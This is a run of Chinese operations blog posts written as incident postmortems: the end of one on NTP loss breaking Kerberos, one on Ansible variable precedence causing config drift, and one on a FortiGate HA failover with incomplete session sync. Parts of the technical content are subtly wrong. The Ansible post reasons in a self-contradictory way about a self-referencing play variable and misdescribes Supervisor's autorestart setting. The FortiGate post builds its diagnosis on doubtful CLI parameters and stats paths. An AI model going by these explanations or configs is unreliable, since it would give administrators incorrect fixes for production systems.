{HOST: w32tm.skew.last()} \u0026gt; 300 # 偏差超过5分钟告警 配合分级告警：\n偏差 \u0026gt; 60s：Warning，通知运维组 偏差 \u0026gt; 180s：High，通知运维+值班经理 偏差 \u0026gt; 300s：Disaster，全员通知+自动触发 w32tm /resync 6.3 防火墙变更预检清单\r将以下基础设施协议纳入防火墙变更的强制影响范围评估清单：\n协议 端口 用途 受影响系统 NTP 123/UDP 时间同步 DC、网络设备、服务器 SNMP 161/UDP 设备监控 交换机、防火墙、UPS Syslog 514/UDP 日志集中 网络设备、安全设备 LDAP 389/TCP 目录查询 所有域成员 Kerberos 88/TCP,UDP 域认证 所有域成员 任何变更只要触碰到 DENY ALL 前面规则的白名单范围，必须对照此清单逐项确认。\n6.4 域控健康基线巡检脚本\r将以下内容加入每日健康检查 Cron：\n1 2 3 4 5 6 7 8 9 10 # domain_health_check.ps1 $ntpStatus = w32tm /query /status if ($ntpStatus -match \u0026#34;上次成功同步时间:\\s*(\\d{4}/\\d{1,2}/\\d{1,2})\u0026#34;) { $lastSync = [datetime]::ParseExact($Matches[1], \u0026#39;yyyy/M/d\u0026#39;, $null) $daysSinceSync = ((Get-Date) - $lastSync).Days if ($daysSinceSync -gt 1) { Send-MailMessage -To \u0026#34;ops@contoso.com\u0026#34; -Subject \u0026#34;DC时间同步异常\u0026#34; ` -Body \u0026#34;DC01 已 $daysSinceSync 天未成功同步NTP时间\u0026#34; } } 七、总结\r这次故障从接到报修到最终定位根因用时约 25 分钟，止血恢复用时约 20 分钟。几个值得复盘的点：\n做得好的地方：排查逻辑链条清晰——从客户端事件日志的 KDC_ERR_SKEW → NETLOGON 5719 时钟偏差提示 → DC01 的 w32tm /query /status 上一次同步时间 → 防火墙策略审计，步步可追溯。\n暴露的盲区：\n监控的\u0026quot;自我欺骗\u0026quot;陷阱——Zabbix 检查域控之间时间一致就认为没问题，却没有和外部绝对时间做比对。监控设计必须考虑\u0026quot;两个时钟都坏掉\u0026quot;的场景 基础设施依赖没有文档化——安全团队不知道域控需要 NTP 协议出站，这不是安全团队的错，是运维没有把自己依赖的基础协议清单化、制度化 变更影响的\u0026quot;静默期\u0026quot;效应——从策略变更到业务可感知故障间隔 62 天，这种超长延迟让变更评审很难建立因果关联 最重要的教训：Kerberos 协议仅给 5 分钟的时钟偏差阈值，对于长期无 NTP 同步的环境来说是一颗定时炸弹。时间同步看起来是运维事务中最\u0026quot;无聊\u0026quot;的一环，但它是整个身份认证体系的基石——基石一旦松动，整栋楼都会摇晃。\n","date":"2026-07-04T06:55:33Z","permalink":"/posts/f78d7f76/","title":"域控 NTP 时间源失效，全公司 Kerberos 为何大面积失败？"},{"content":"问题背景\r事情发生在周二凌晨的变更窗口。我们按计划对一套线上业务集群做例行配置加固，涉及32台Web服务器（Nginx + PHP-FPM + Supervisor）。这批机器跑的是相同的CentOS 7.9镜像，由一套统一的Ansible Playbook管理，日常变更一直比较稳定。\n当晚的变更内容并不复杂：根据安全组要求，关闭Nginx版本号显示、统一PHP-FPM的慢日志阈值，并调整Supervisor对子进程崩溃后的自动重启策略。由于变更项较少，值班同事直接用了熟悉的命令行方式触发：\n1 2 ansible-playbook -i inventory/production web.yml \\ -e \u0026#34;nginx_server_tokens=off php_fpm_slowlog_timeout=3s supervisor_autorestart=unexpected\u0026#34; 凌晨 01:17 执行完成，playbook 显示所有机器都是 changed=4 ok=28，看起来一切正常。然而早上 08:45 业务方开始在群里反馈：部分接口响应变慢，偶尔出现 502 Bad Gateway，且报错机器不固定。更严重的是，监控显示 PHP-FPM 的 max_children 在几台高并发机器上从 200 变成了 50，连接队列被打满，直接触发告警。\n故障现象\r故障的典型表现包括：\nNginx 侧：随机 502，且集中在部分机器上。error.log 中出现大量 connect() to unix:/run/php-fpm.sock failed (11: Resource temporarily unavailable)。 PHP-FPM 侧：pm.max_children 被改为 50，而原生产值为 200。慢日志阈值 request_slowlog_timeout 变成了 3s，但部分业务池期望的是 5s。 Supervisor 侧：程序配置中的 autorestart=true 被改成了 unexpected，导致计划内的退出码也触发了重启，日志里出现大量 EXITED 后又被拉起的情况。 监控告警：Zabbix 连续报 PHP-FPM listen queue len \u0026gt; 100；Prometheus 的 phpfpm_active_processes 在几台机器上达到 50/50。 我登录到一台问题机器上查看 PHP-FPM 主配置：\n1 2 3 $ cat /etc/php-fpm.d/www.conf | grep -E \u0026#34;pm.max_children|request_slowlog_timeout\u0026#34; pm.max_children = 50 request_slowlog_timeout = 3s Nginx 配置也被改了：\n1 2 $ cat /etc/nginx/nginx.conf | grep server_tokens server_tokens off; server_tokens off 这个变更本身是对的，但问题在于为什么它会把其他配置也一并带偏？Playbook 当晚明明只改了三个变量，为什么 Nginx 的 worker_connections、PHP-FPM 的 pm.max_children、Supervisor 的 autorestart 都出现了非预期变更？\n排查过程\r第一步：确认变更范围\r先通过 Git 查看 Playbook 仓库最近的提交，确认代码层面没有改动。结果显示最近一周只有文档更新，没有角色或变量的变更。那么问题只能出在命令行参数或者环境变量上。\n查看值班同事使用的命令历史：\n1 2 3 $ history | grep ansible-playbook | tail -5 ansible-playbook -i inventory/production web.yml \\ -e \u0026#34;nginx_server_tokens=off php_fpm_slowlog_timeout=3s supervisor_autorestart=unexpected\u0026#34; 看起来只传了三个变量，但影响面却大得多。我怀疑 -e 传入的 extra variables 在 Playbook 里被某种方式覆盖或透传到了其他角色。\n第二步：检查变量优先级\rAnsible 的变量优先级（Variable Precedence）是出了名的复杂。从 Ansible 2.9 官方文档看，extra vars（命令行 -e）处于最高优先级，会覆盖几乎所有其他变量，包括 role defaults、inventory vars、play vars、host vars 等。\n但问题不在于 extra vars 本身优先级高，而在于这些变量名恰好和角色内部的变量名一致，且被多个角色共用。\n我先检查 group_vars/all.yml：\n1 2 3 4 5 6 7 nginx_server_tokens: \u0026#34;on\u0026#34; nginx_worker_connections: 4096 php_fpm_slowlog_timeout: 5s php_fpm_max_children: 200 supervisor_autorestart: true 再检查角色变量。比如 roles/nginx/defaults/main.yml：\n1 2 nginx_server_tokens: \u0026#34;on\u0026#34; nginx_worker_connections: 1024 roles/php-fpm/defaults/main.yml：\n1 2 php_fpm_slowlog_timeout: 0 php_fpm_max_children: 50 roles/supervisor/defaults/main.yml：\n1 supervisor_autorestart: true 注意：当命令行传入 php_fpm_slowlog_timeout=3s 时，它确实只覆盖了 PHP-FPM 的慢日志阈值，但 php_fpm_max_children 为什么也被改了？\n第三步：定位变量透传路径\r继续看 web.yml 这个 Playbook 的结构：\n1 2 3 4 5 6 7 8 9 - name: Configure web servers hosts: web become: yes vars: php_fpm_max_children: \u0026#34;{{ php_fpm_max_children | default(50) }}\u0026#34; roles: - role: nginx - role: php-fpm - role: supervisor 问题立刻暴露：play vars 里使用了和 extra var 同名的 php_fpm_max_children，但它通过 default 过滤器试图回退到 50。extra vars 优先级高于 play vars，但这里有一个坑：当 extra vars 中只显式传了 php_fpm_slowlog_timeout，而 php_fpm_max_children 在 extra vars 中并不存在时，为什么 play vars 里的 default(50) 还会生效？\n答案不会是这样。实际上，如果 php_fpm_max_children 在 extra vars 中没有显式传入，那么 play vars 里的 php_fpm_max_children: \u0026quot;{{ php_fpm_max_children | default(50) }}\u0026quot; 会引用自己，导致无限递归？不，Ansible 处理变量时会先找 play vars 的值，模板里再对 php_fpm_max_children 求值，但此时同一作用域里已有定义，所以它会取自身值，结果相当于没有 default 效果，或者报错。\n我实际执行了 ansible-playbook --syntax-check 和 debug 任务：\n1 2 - debug: var: php_fpm_max_children 结果输出为 50。这说明 play vars 的 default(50) 确实生效了，并且覆盖了 group_vars/all.yml 中定义的 php_fpm_max_children: 200。\n为什么？因为 Ansible 的变量优先级中，play vars 高于 group_vars 和 host_vars，而 default(50) 只是给模板一个默认值。当 play vars 显式定义了某个变量，无论它是否使用 default，它都会覆盖 group_vars 里的同名词。\n第四步：检查其他被影响的变量\r回到三个命令行变量：\nnginx_server_tokens=off：extra var 最高优先级，覆盖了 group_vars/all.yml 和 role defaults。这是预期变更。 php_fpm_slowlog_timeout=3s：extra var 覆盖了 group_vars 的 5s。这是预期变更，但业务方期望的 5s 被打破了。 supervisor_autorestart=unexpected：extra var 覆盖了 group_vars 的 true，导致计划内退出码也触发重启。 但 nginx_worker_connections 和 php_fpm_max_children 的变更是怎么来的？\n继续检查角色模板。在 roles/nginx/templates/nginx.conf.j2 中：\n1 2 worker_connections {{ nginx_worker_connections | default(1024) }}; server_tokens {{ nginx_server_tokens | default(\u0026#39;on\u0026#39;) }}; 由于 nginx_worker_connections 只在 group_vars/all.yml 中定义，没有 extra var 覆盖，优先级低于 play vars。但 web.yml 的 play vars 里没有 nginx_worker_connections，那它为什么变成 1024？\n回看 roles/nginx/defaults/main.yml 中定义了 nginx_worker_connections: 1024，而 group_vars/all.yml 定义了 4096。按 Ansible 优先级，group_vars 应该覆盖 role defaults。可是实际结果是 1024。\n我再用 debug 打印：\n1 2 - debug: var: nginx_worker_connections 输出居然是 1024！这完全不符合变量优先级表。经过反复核对，我发现 group_vars/all.yml 中这个变量名被同事在月初的某次合并中误删了！Git 记录显示：\n1 -nginx_worker_connections: 4096 也就是说，group_vars 里已经不存在这个变量，role defaults 的 1024 自然生效。但更深层的问题是：为什么组里没有人知道这个变量被删了？因为 Playbook 在每次执行时，Ansible 不会主动告诉你某个变量被 role defaults 回退了多少。\n第五步：检查审计与变更流程\r这引出了另一个关键问题：为什么一个\u0026quot;只改三个变量\u0026quot;的变更，会触发 Nginx、PHP-FPM、Supervisor 三个角色的重新渲染？\n查看 Ansible 执行日志，发现 changed=4 中的 4 个变更分别是：\nnginx.conf 被渲染（server_tokens 变化 + worker_connections 回退） www.conf 被渲染（slowlog_timeout 变化 + max_children 被 play vars 强制为 50） supervisord.conf 被渲染（autorestart 变化） 重启相关服务 也就是说，Ansible 的 template 模块在每次任务里都会重新渲染整个配置文件，即使只有一处变量变化，也会把模板中所有变量一起带入。如果模板里引用了被 play vars 或 extra vars 覆盖的变量，就会牵一发而动全身。\n第六步：确认回滚方案\r找到根因后，我需要先止血。由于 group_vars 里的 nginx_worker_connections 已经被误删，且 play vars 中 php_fpm_max_children 被固定为 50，最快的恢复方式是：\n先手工恢复 group_vars/all.yml 中缺失的 nginx_worker_connections: 4096。 临时注释掉 web.yml 中 play vars 里的 php_fpm_max_children 行，让 group_vars 的 200 生效。 回滚 supervisor_autorestart 到 true，php_fpm_slowlog_timeout 回滚到 5s，nginx_server_tokens 保持 off（这是安全要求）。 执行命令：\n1 2 ansible-playbook -i inventory/production web.yml \\ -e \u0026#34;nginx_server_tokens=off php_fpm_slowlog_timeout=5s supervisor_autorestart=true\u0026#34; 同时，临时把 web.yml 中的 play vars 注释：\n1 2 # vars: # php_fpm_max_children: \u0026#34;{{ php_fpm_max_children | default(50) }}\u0026#34; 重新执行后，检查关键配置已恢复正常：\n1 2 3 4 5 6 7 8 $ cat /etc/php-fpm.d/www.conf | grep pm.max_children pm.max_children = 200 $ cat /etc/nginx/nginx.conf | grep worker_connections worker_connections 4096; $ cat /etc/supervisord.d/app.ini | grep autorestart autorestart=true 业务 502 告警在 09:38 开始下降，10:05 完全恢复。\n解决方案\r这次故障的表面原因是命令行 extra vars 覆盖了不该覆盖的变量，但根因是 Playbook 本身缺乏变量作用域隔离和变更管控。我制定了以下整改方案：\n1. 移除 play vars 中的同名变量陷阱\rweb.yml 中原来的写法：\n1 2 vars: php_fpm_max_children: \u0026#34;{{ php_fpm_max_children | default(50) }}\u0026#34; 这种写法有严重歧义：它在 play vars 中定义了一个变量，同时试图引用自身求默认值。修改后，把默认值下沉到角色 defaults，并把业务默认值放到 group_vars 中显式管理：\nroles/php-fpm/defaults/main.yml：\n1 2 php_fpm_max_children: 50 php_fpm_slowlog_timeout: 0 group_vars/web.yml（新建，专门给 web 主机组）：\n1 2 php_fpm_max_children: 200 php_fpm_slowlog_timeout: 5s web.yml：\n1 2 3 4 5 6 7 - name: Configure web servers hosts: web become: yes roles: - role: nginx - role: php-fpm - role: supervisor 2. 使用变量前缀隔离不同角色的变量\r避免不同角色使用完全相同的变量名。例如：\nnginx_server_tokens → nginx__server_tokens php_fpm_max_children → php_fpm__max_children supervisor_autorestart → supervisor__autorestart 虽然 Ansible 没有强制命名空间，但为角色变量加双下划线前缀（或统一用角色名前缀）可以显著降低误覆盖风险。不过，更好的做法是使用 rolespec 风格或 include_role 的 vars 参数显式传入。\n3. 禁止在命令行直接传复杂变量\r以后所有变量变更必须通过 group_vars 或 host_vars 文件提交，走 Git 合并请求。临时命令行变更只允许传明确的开关变量，例如 deploy_only=true。\n4. 增加配置漂移检查\r在 Playbook 最后增加 ansible-playbook --check --diff 的 dry-run 检查，以及每次变更后自动比对关键配置文件的 checksum：\n1 2 3 4 5 6 7 8 9 10 11 12 13 - name: Verify php-fpm max_children lineinfile: path: /etc/php-fpm.d/www.conf regexp: \u0026#39;^pm.max_children\\s*=\u0026#39; line: \u0026#34;pm.max_children = {{ php_fpm_max_children }}\u0026#34; check_mode: yes register: php_fpm_check changed_when: false - name: Fail if php-fpm max_children drifted fail: msg: \u0026#34;php-fpm max_children drifted!\u0026#34; when: php_fpm_check.changed 5. 把变量定义集中到 inventory 并按环境分组\r将生产环境、预发布环境、测试环境的变量分别放到 group_vars/prod_web.yml、group_vars/staging_web.yml 中，避免所有环境共用 group_vars/all.yml 导致一个误删影响全局。\n根因分析\r根本原因是 Ansible 变量优先级被误用，叠加了三个低级失误：\nPlaybook 中 play vars 使用了和 group_vars 同名的变量，且通过 default(50) 的方式试图回退，导致 play vars 显式定义了 php_fpm_max_children，其优先级高于 group_vars，覆盖了生产值 200。 group_vars/all.yml 中 nginx_worker_connections 被前序提交误删，没有触发任何告警，role defaults 的 1024 在生产环境生效。 命令行 -e 传入的 extra vars 优先级最高，虽然初衷是只改三个小变量，但因为它可以覆盖 group_vars 和 play vars，业务侧期望的 php_fpm_slowlog_timeout=5s 和 supervisor_autorestart=true 被临时命令行值覆盖。 变更流程缺失 dry-run 和 diff 检查，值班同事没有执行 --check --diff 就跑了生产变更，导致问题未在事前发现。 预防措施\r变更前必须执行 dry-run：所有 Ansible 生产变更必须先跑 --check --diff，确认 diff 只包含预期项。这条写进变更 SOP。 禁用无 MR 的变量变更：group_vars/host_vars 的修改必须走 Git 合并请求，至少经过两人 review。禁止临时用 -e 覆盖业务变量。 为每个角色维护独立的变量前缀：新项目统一采用 角色名__变量名 的命名规范，老项目逐步改造。 配置漂移监控：在 Zabbix 和 Ansible 本身增加关键配置项的 checksum 检查，每日比对一次。 Playbook 代码审查清单：每次变更 Playbook 或变量文件，必须检查：变量名是否重复、是否引用了已删除变量、role defaults 是否可能意外生效、extra vars 是否会覆盖 group_vars。 环境变量分层：尽快把 all.yml 拆成 prod.yml、staging.yml、dev.yml，减少一个文件影响所有环境的风险。 总结\r这次事故让我重新认识了 Ansible 的\u0026quot;变量优先级\u0026quot;这个看似简单、实则很容易踩坑的话题。很多时候我们以为 -e 只是临时传一个小参数，但它在 Ansible 里处于最高优先级，稍有不慎就会把生产环境的配置整体带偏。\n同时也暴露了我们 Playbook 代码本身的问题：同名变量在多个层级出现、role defaults 没有显式审计、group_vars 被误删无人察觉。这些问题单独看都不是致命伤，但叠加在一起，就能在几分钟内把 32 台服务器的关键配置改乱。\n最后送给自己和同事三句话：\n生产环境的任何变量，都值得被显式管理，而不是靠 default() 兜底。 --check --diff 不是可选步骤，是变更的底线。 临时命令行参数 -e 能救命，也能挖坑，用之前先想清楚它会影响多少模板。 ","date":"2026-07-03T06:55:17Z","permalink":"/posts/06be273b/","title":"Ansible 变量优先级算错，批量服务器怎么就配置漂移了？"},{"content":"问题背景\r我们公司总部机房出口部署了两台 FortiGate 600E 防火墙，以 Active-Passive 模式组成 HA 双机热备集群，承载全公司约 1800 人的互联网访问、总部-分支 IPSec VPN 隧道（6 条）、以及 ERP/OA 等业务系统的对外发布。这套 HA 集群已经稳定运行两年多，期间也经历过两次计划内主备切换（固件升级），均未出现异常。\n周三上午 9:15，正值上班高峰期，监控平台突然弹出大量告警——6 条 VPN 隧道状态全部变为 Down，ERP 系统外部访问超时，OA 系统邮件收发中断。与此同时，多个分支机构电话涌入，报告无法访问总部内网资源。整个业务中断持续了约 40 分钟，影响了近 800 名在线用户的正常工作，紧急程度极高。\n故障现象\r故障发生时，现象非常明确且集中：\n1. VPN 隧道全部中断\n6 条总部到分支的 IPSec VPN 隧道在 9:15 同时从 Phase 2 Up 变为 Down，FortiGate VPN Monitor 页面显示隧道状态为 \u0026ldquo;Tunnel Down\u0026rdquo;，但 Phase 1 仍在协商中。各分支的 FortiGate 日志中出现大量：\n1 2 ike: IPSec SA negotiation failed: payload malformed ike: phase 2 negotiation failed due to timeout 2. ERP 和 OA 系统外部连接中断\nNginx 日志中 9:15 之后请求量骤降至零，直到 9:55 才开始恢复。Grafana 监控图上 TCP 连接数从 2300+ 瞬间跌至 12（仅剩防火墙自身管理连接）。\n3. 内部用户互联网访问短暂中断后恢复\n内部员工的互联网访问在 9:15 中断了约 30 秒后恢复，但所有需要维持长连接的应用（SSH 会话、WebSocket 推送、SIP 语音通话）全部断开，需要重新建立连接。\n4. FortiGate HA 状态异常\n登录防火墙管理界面后发现：原主设备（FG-600E-01）已变为 Standby，原备设备（FG-600E-02）已变为 Active。HA 切换确实发生了，但业务并未如预期无缝恢复。\n关键日志片段（备机升级为 Active 后）：\n1 2 3 4 ha: HA member 1 (FG-600E-01) status changed to standby ha: HA member 2 (FG-600E-02) status changed to active ha: HA failover triggered by: member 1 heartbeat lost ha: Session sync incomplete: 48213/112340 sessions synced (43%) 最后一行日志格外引人注目——会话同步只完成了 43%，意味着超过 6 万条活跃会话在切换时丢失了。\n排查过程\r第一步：确认 HA 切换原因\r首先搞清楚为什么会发生 HA 切换。登录原主设备（现在是 Standby）查看日志：\n1 2 3 system: Thermal shutdown triggered: temperature threshold exceeded (65°C \u0026gt; 55°C) system: Fan 1 status: failed, Fan 2 status: failed system: HA heartbeat lost, member transitioning to standby 主设备的两个风扇同时故障，导致设备温度超过阈值触发热保护关机。这是个硬件故障，HA 切换本身是正确的保护行为。\n在 FortiGate CLI 上进一步确认：\n1 2 3 4 5 6 7 8 9 # execute ha peer status HA Peer Status: Member 1 (FG-600E-01): Standby, heartbeat: OK, uptime: 0d 0h 45m (recovered) Member 2 (FG-600E-02): Active, heartbeat: OK, uptime: 2y 178d # get system status Hostname: FG-600E-01 HA Health Status: Standby Temperature: 42°C (recovered after fan replacement by auto-restart) 主设备在温度恢复正常后自动重启并重新加入了 HA 集群（作为 Standby），但此时业务中断已经发生了。\n第二步：深入分析会话同步率为什么只有 43%\r这是核心问题。正常情况下，Active-Passive HA 的会话同步应该是实时进行的——主设备上每建立一条新会话，都会同步到备设备。我们检查了 HA 配置：\n1 2 3 4 5 6 7 8 9 10 11 12 # show system ha config system ha set group-id 10 set group-name \u0026#34;FG-HA-Cluster\u0026#34; set mode a-p set password \u0026#34;xxxxxxxx\u0026#34; set hbdev \u0026#34;ha1\u0026#34; \u0026#34;ha2\u0026#34; set session-pickup enable set session-pickup-connectionless enable set override-disable set priority 100 (主) / 50 (备) end session-pickup enable 是开着的，session-pickup-connectionless enable 也开着（UDP 等 UDP 类会话也会同步）。配置看起来没问题。\n但关键参数我们漏掉了：session-sync-dev 和 ha-session-sync-frequency。\n继续查看完整配置：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 # show system ha full-configuration config system ha set group-id 10 set group-name \u0026#34;FG-HA-Cluster\u0026#34; set mode a-p set password \u0026#34;xxxxxxxx\u0026#34; set hbdev \u0026#34;ha1\u0026#34; \u0026#34;ha2\u0026#34; set hbdev-vlan-id 0 set hbdev-peerip 0.0.0.0 set session-pickup enable set session-pickup-connectionless enable set session-sync-dev \u0026#34;ha1\u0026#34; \u0026lt;-- 仅用一条心跳线同步会话 set ha-session-sync-frequency 50 \u0026lt;-- 每50ms同步一批 set override-disable set priority 100 end 发现了两个问题：\nsession-sync-dev 仅指定了 ha1——会话同步只通过一条心跳线传输，而我们有两条心跳线（ha1 和 ha2），第二条只用来传心跳，没用来传会话数据。 ha-session-sync-frequency 设为 50ms——这意味着每 50ms 才同步一批会话更新。在高并发场景下（112340 条活跃会话），50ms 的间隔会导致同步队列积压。 第三步：计算会话同步吞吐量瓶颈\rFortiGate HA 会话同步的工作机制是：主设备每隔 ha-session-sync-frequency 毫秒，将这段时间内新增/变更的会话打包发送到备设备。每批最大传输约 256 条会话更新（取决于底层 TCP 窗口和 MTU）。\n我们来算一下：\n同步频率：50ms → 每秒 20 批 每批上限：约 256 条 每秒最大同步速率：20 × 256 = 5120 条/秒 但在上班高峰期，新会话建立速率是多少？我们从监控数据中提取：\n1 2 3 # 从 FortiGate 的 session 统计看 Active sessions at 09:14: 112340 New sessions per second (average 09:00-09:15): ~18000 每秒新增约 18000 条会话，但同步速率上限只有 5120 条/秒——同步速率远低于会话创建速率，差距约 3.5 倍。\n这意味着在高峰期，主设备上大量会话根本来不及同步到备设备。当切换发生时，备设备上的会话表只是\u0026quot;最近同步过来的那部分\u0026quot;，而不是完整的活跃会话集合。\n此外还有一个问题：FortiGate 的会话同步是增量同步，不是全量同步。主设备只在会话建立时发送一次同步消息，后续的状态变更（如 TCP 序列号更新、窗口大小变化）不会再同步。所以即使同步速度够快，长连接的中间状态信息也是缺失的。\n第四步：验证心跳通道带宽\r两条心跳线分别连接在不同端口上：\n1 2 ha1: port3 (1Gbps RJ45) ha2: port4 (1Gbps RJ45) 心跳线用的是千兆端口，但 session-sync-dev 只指定了 ha1，意味着所有会话同步数据只走 port3 一条链路。实际测量 port3 在高峰期利用率：\n1 2 3 # fnsysctl ifconfig port3 port3: TX packets 847320, TX bytes 634MB (09:00-09:15) port3: RX packets 823100, RX bytes 618MB 15 分钟内 TX 634MB → 平均速率约 7Mbps。对于千兆链路来说带宽远没有用满，但问题不在带宽，而在同步频率太低导致每批数据量不够。\n如果把 ha-session-sync-frequency 从 50ms 改为 1ms（最小值），每秒同步频率从 20 批提升到 1000 批，同步速率上限变为 1000 × 256 = 256000 条/秒，远超高峰期新增速率。同时如果把 session-sync-dev 改为同时使用 ha1 和 ha2，吞吐量还能翻倍。\n第五步：检查历史切换记录\r排查到这里，不禁要问：之前两次计划内切换为什么没出问题？我们查看 HA 事件历史：\n1 2 3 4 # execute ha history 1. 2024-03-15 02:00 - Planned failover (firmware upgrade), session sync: 98.7% 2. 2025-01-10 03:00 - Planned failover (firmware upgrade), session sync: 99.2% 3. 2026-07-02 09:15 - Unplanned failover (thermal shutdown), session sync: 43% 前两次切换都是在凌晨低峰期进行的（凌晨 2-3 点），活跃会话只有约 3000 条，同步完全来得及。而这次切换发生在早高峰，活跃会话 11 万条，同步速率跟不上，就暴露了这个长期存在的隐患。\n本质上是：配置在低峰期\u0026quot;够用\u0026quot;，但高峰期不够用，平时根本发现不了。\n第六步：查看备机切换后的会话重建情况\r备机成为 Active 后，丢失的会话需要由客户端重新建立。我们统计了业务恢复时间线：\n时间 事件 活跃会话数 09:15 HA 切换完成 48213（同步过来的） 09:16 VPN Phase 1 重新协商开始 48500 09:20 6 条 VPN 隧道恢复 4 条 52300 09:30 VPN 全部恢复 61200 09:55 业务连接基本恢复 108000 10:20 会话数恢复到正常水平 112000+ 从 48213 恢复到正常水平用了约 1 小时，但核心业务（VPN、ERP）在 40 分钟后才基本可用。原因是 VPN 隧道的 IKE 协商需要多轮密钥交换，加上分支 FortiGate 的 DPD（Dead Peer Detection）检测间隔为 30 秒，隧道重建有较长的等待窗口。\n解决方案\r紧急止血（已完成）\rHA 切换已经发生，无法回滚。业务通过自然重连逐步恢复，VPN 隧道在 DPD 触发后自动重建。40 分钟后业务基本恢复，这是本次故障的实际恢复时间。\n配置优化（根治）\r1. 提升会话同步频率\n将 ha-session-sync-frequency 从 50ms 改为 1ms（最小值），大幅提升同步吞吐量：\n1 2 3 4 # FortiGate CLI config system ha set ha-session-sync-frequency 1 end 修改后，同步速率上限从 5120 条/秒提升到 256000 条/秒，完全覆盖高峰期 18000 条/秒的创建速率。\n2. 会话同步使用双心跳通道\n将 session-sync-dev 改为同时使用 ha1 和 ha2，使会话同步数据可以走两条链路，提供冗余和更高吞吐：\n1 2 3 config system ha set session-sync-dev \u0026#34;ha1\u0026#34; \u0026#34;ha2\u0026#34; end 3. 启用 TCP 会话状态同步\nFortiGate 7.0+ 版本支持更精细的 TCP 状态同步，可以通过以下配置启用：\n1 2 3 4 5 config system ha set session-pickup enable set session-pickup-connectionless enable set session-pickup-expected enable # 启用 expected-session 同步 end 4. 优化 HA 心跳参数\n1 2 3 4 config system ha set hb-interval 500 # 心跳间隔从默认2s改为500ms set hb-lost-threshold 3 # 丢失3次心跳判定故障（1.5秒而非6秒） end 这样主设备故障时备机能更快检测到并切换，减少中断窗口。\n5. VPN 階道 DPD 间隔优化\n各分支 FortiGate 的 DPD 检测间隔从 30 秒改为 5 秒：\n1 2 3 4 5 6 7 8 # 各分支 FortiGate config vpn ipsec phase1-interface edit \u0026#34;HQ-VPN\u0026#34; set dpd on set dpd-retryinterval 5 set dpd-retrycount 3 next end 隧道中断后能在 15 秒内检测到并触发重建，而不是等 90 秒。\n6.风扇故障修复\n联系 FortiGate TAC 更换主设备的两个故障风扇，同时对备设备也做预防性检查。FortiGate 600E 的风扇模块是可插拔的，更换后设备温度恢复正常。\n完整优化后的 HA 配置\r1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 config system ha set group-id 10 set group-name \u0026#34;FG-HA-Cluster\u0026#34; set mode a-p set password \u0026#34;xxxxxxxx\u0026#34; set hbdev \u0026#34;ha1\u0026#34; \u0026#34;ha2\u0026#34; set hb-interval 500 set hb-lost-threshold 3 set session-pickup enable set session-pickup-connectionless enable set session-pickup-expected enable set session-sync-dev \u0026#34;ha1\u0026#34; \u0026#34;ha2\u0026#34; set ha-session-sync-frequency 1 set override-disable set priority 100 end 根因分析\r本次故障的根本原因是 HA 会话同步配置未针对高峰期负载进行优化，形成了\u0026quot;低峰期够用、高峰期不够用\u0026quot;的隐性缺陷。\n具体分解：\n同步频率过低：ha-session-sync-frequency = 50ms 导致每秒最多同步 5120 条会话，而高峰期每秒新增约 18000 条，差距 3.5 倍。大量会话在主设备上建立但来不及同步到备设备。\n同步通道单线传输：session-sync-dev 仅指定 ha1，没有利用第二条心跳线 ha2 的带宽，浪费了冗余资源。\n增量同步机制局限：FortiGate 的会话同步只传递会话建立事件，不传递中间状态变更。即使同步速度够快，长连接在切换后的状态信息（TCP 序列号、窗口等）也是不完整的，可能导致部分连接虽然\u0026quot;存在\u0026quot;但无法继续正常通信。\n风扇硬件故障是触发因素：两台风扇同时失效导致主设备过热保护关机，触发非计划切换。但风扇故障只是导火索，真正的爆炸点是长期存在的会话同步瓶颈。\n缺乏高峰期验证：前两次计划切换都在凌晨低峰期进行，同步率 98%+ 给了团队\u0026quot;HA 配置没问题\u0026quot;的错误信心。从未在高峰期做过 HA 切换演练。\n预防措施\r1. HA 配置基线标准化\r将上述优化后的 HA 配置纳入 FortiGate 标准配置模板，所有新部署和现有集群统一升级。特别关注三个关键参数：\n参数 原值 优化值 说明 ha-session-sync-frequency 50ms 1ms 同步频率最大化 session-sync-dev ha1 ha1+ha2 双通道冗余 hb-interval 2000ms 500ms 快速故障检测 2. 建立 HA 同步率监控\r在 Zabbix 中新增 FortiGate HA 同步率监控项：\n1 2 3 4 5 6 7 8 # FortiGate SNMP/CLI 获取同步会话数 fnsysctl cat /proc/ha_stats | grep \u0026#34;sessions_synced\u0026#34; # 对应的 Zabbix Item # Type: SNMP or External Check # Key: fortigate.ha.session.sync.rate # Expression: sessions_synced / active_sessions_total * 100 # Trigger: sync rate \u0026lt; 80% for 5 minutes → P1 alert 同步率低于 80% 立即告警，让运维在切换发生前就知道同步不完整。\n3. 定期高峰期 HA 演练\r每季度一次，在上班高峰期（上午 9-10 点）执行计划内 HA 切换演练，验证：\n会话同步率是否 ≥ 95% VPN 阧道重建时间是否 ≤ 30 秒 业务恢复时间是否 ≤ 60 秒 监控告警是否正常触发 演练流程：提前通知全员 → 手动触发主备切换 → 记录恢复时间 → 回切并验证。\n4. 硬件健康监控\rFortiGate 600E 支持通过 SNMP 获取风扇状态和温度：\n1 2 3 4 # Zabbix Item fgFanStatus[port3] # 风扇运行状态 fgSysTemperature # 设备温度 # Trigger: fan failed OR temperature \u0026gt; 50°C → P2 alert 风扇故障能在切换前被发现，避免非计划切换。\n5. FortiGate 固件升级\r当前版本 FortiOS 7.0.13，7.2 版本改进了 HA 会话同步机制（支持更高效的批量同步和 TCP 状态同步）。计划在下个维护窗口升级到 7.2.6。\n6. 文档和 SOP 更新\r更新以下运维文档：\nFortiGate HA 配置标准模板：包含所有优化参数 HA 故障应急预案：明确切换后 5 分钟内检查同步率、10 分钟内评估业务影响 HA 演练 SOP：季度演练流程和验收标准 硬件巡检清单：增加风扇状态、温度、电源冗余检查项 总结\r这次故障让我深刻认识到一个教训：HA 双机热备 ≠ 业务零中断，配置\u0026quot;能跑\u0026quot;不等于配置\u0026quot;可靠\u0026quot;。\n两年多来 HA 一直\u0026quot;正常工作\u0026quot;，是因为前两次切换恰好在低峰期，同步瓶颈从未被暴露。当真正的非计划切换发生在高峰期时，11 万条会话只同步了 43%，业务中断 40 分钟。这就像一辆车平时在市区 30km/h 没问题，上了高速才发现刹车不够力。\n几个关键教训：\nHA 配置必须按高峰期负载设计，同步速率要远大于高峰期会话创建速率，留足余量。 HA 演练必须在高峰期做，低峰期演练只能验证切换流程，不能验证业务连续性。 会话同步率必须纳入持续监控，不能等到切换时才发现同步不完整。 硬件故障（风扇、电源、磁盘）是 HA 